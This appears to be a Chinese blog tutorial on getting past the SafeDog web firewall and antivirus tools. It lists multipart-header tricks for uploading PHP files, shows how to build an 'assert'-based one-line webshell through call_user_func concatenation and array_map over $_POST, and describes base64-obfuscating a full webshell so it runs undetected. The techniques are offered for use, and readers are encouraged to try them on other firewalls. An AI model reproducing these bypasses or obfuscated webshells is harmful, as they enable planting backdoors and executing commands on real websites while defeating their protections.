原创文章,转载请标明出处!

0x00 介绍

鲁迅说:偷窃一个的是创意剽窃,偷窃很多人的创意是研究。

1.jpg
本文是个人学习的一个小总结,很多思路都是学习网上大佬的,可能本文中的某个思路或许已经被公布,但是我阅历比较少,并不知道,如果有重复的,可以提出来,我会文章后面贴上地址。

0x01 上传绕过

说到突破狗绕过,公布的姿势太多了,常规的后缀大小写修改、截断上传、不规则文件名截断、删除Conten-Type、垃圾数据填充等。我简单的总结下。

环境

Windows版某狗ApacheV3.5+phpstudy
2.jpg
说道这里,可能有人会吐槽你这是V3.5的不是还有个V4.0的嘛,什么文章啊垃圾。关于版本问题我以前写过一篇水文,绕的是V4.0加服务器安全狗,不多说直接上图。
3.jpg
其实版本是有差异但是方法都是一样的。

绕过

Burp抓包 原本数据包

------WebKitFormBoundaryl2Fe3Re3WQjeJFBi
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
思路:改变大小写+垃圾数据填充+删除
主要从这里入手
Content-Disposition: form-data; name="file"; filename="1.php"
4.jpg
Content-Disposition:大写C改为小写c
5.jpg
form-data;前面加zz
6.jpg
form-data;f去掉
上面三个例子只是简单的一个小例子,我想给大家说的其实是,我们可以下面的数据为所欲为
Content-Disposition: form-data; name="file"; filename="1.php"
比如随便删除,修改,回车,增添,倒转都可以,然后你会发现绕狗上传是如此简单。
下面介绍几个有趣点的:
filename="4.php"改成filename=4.php filename""
7.jpg
倒转把Content-Type: application/octet-stream提到上面来
8.jpg
name="file"提到前面来
Content-Disposition: name="file"; form-data; filename="6.php"
回车:
9.jpg
还有 " ' ;
filename=""xx.php"  //加个双引号
filename=";xx.php"  //加个分号
filename="'xx.php"  //加个单引号

就到这里告一段落了,关于狗的版本差异问题没多大,上面的方法试试,然后就可以找到了,大家可以多动手,发挥脑洞,这类方法也可以在其他WAF试试,给大家提供些思路协议未覆盖Fuzz模糊测试突破文件上传

0x02 免杀一句话

这里我详细讲解一个过狗过D盾的php一句话的编写。在Tool论坛分享过

  • 先来看看我们常见的PHP一句话长啥样


首先我们需要了解两个PHP函数 call_user_func()array_map()

  • call_user_func()
function uu($x,$y){     //定义了一个uu的函数 参数为变量 $x,$y
        return $x.$y;      //返回值为 是将$x和$y拼接
}
echo @call_user_func('uu',Too,ls);  //将"Too,ls"分别传给 $x , $y ,组成Tools,  echo输出Tools @是防止报错
运行结果
1tools.png
大家知道 assert是PHP一句话中常见的执行函数
function uu($x,$y){
        return $x.$y;
}
echo @call_user_func('uu',ass,ert);

如果我们这样写是不是就组成了assert, 满足文章开头常见一句话的特征咯。

  • array_map()
看个小例子i
tool3.png
效果: 大家只要记住 $arr可以是个数组
2tools.png
如果我们这样写,也算个数组了,看到这里很多小伙伴灵机一动
$i = array($_POST[x]);
  • 编写一句话
把上述的列子结合起来就可以了
tools4.png
去掉注释比较方便。
是免杀的,过狗的可以的
tool5.png
  • 总结

主要是用各种方法拼接组合相关执行函数,然后运用回调函数的方法来执行。免杀可能是一时的,但是思路是活的,大家可以去学学php基础,也可以轻易写出免杀的一句话。

0x03 免杀大马

思路来源

  • 首先需要一份大马源码
tools5.png
  • 思路
// base64_decode函数的作用是对base64编码过的数据进行解码
  • 免杀
tools6.png
有人说这只是静态免杀,大马操作时候还会拦截,然而并不会。
我在大马上执行命令还是不会拦截。
tools7.png

总结

我们是站在前人的肩膀上成长起来的。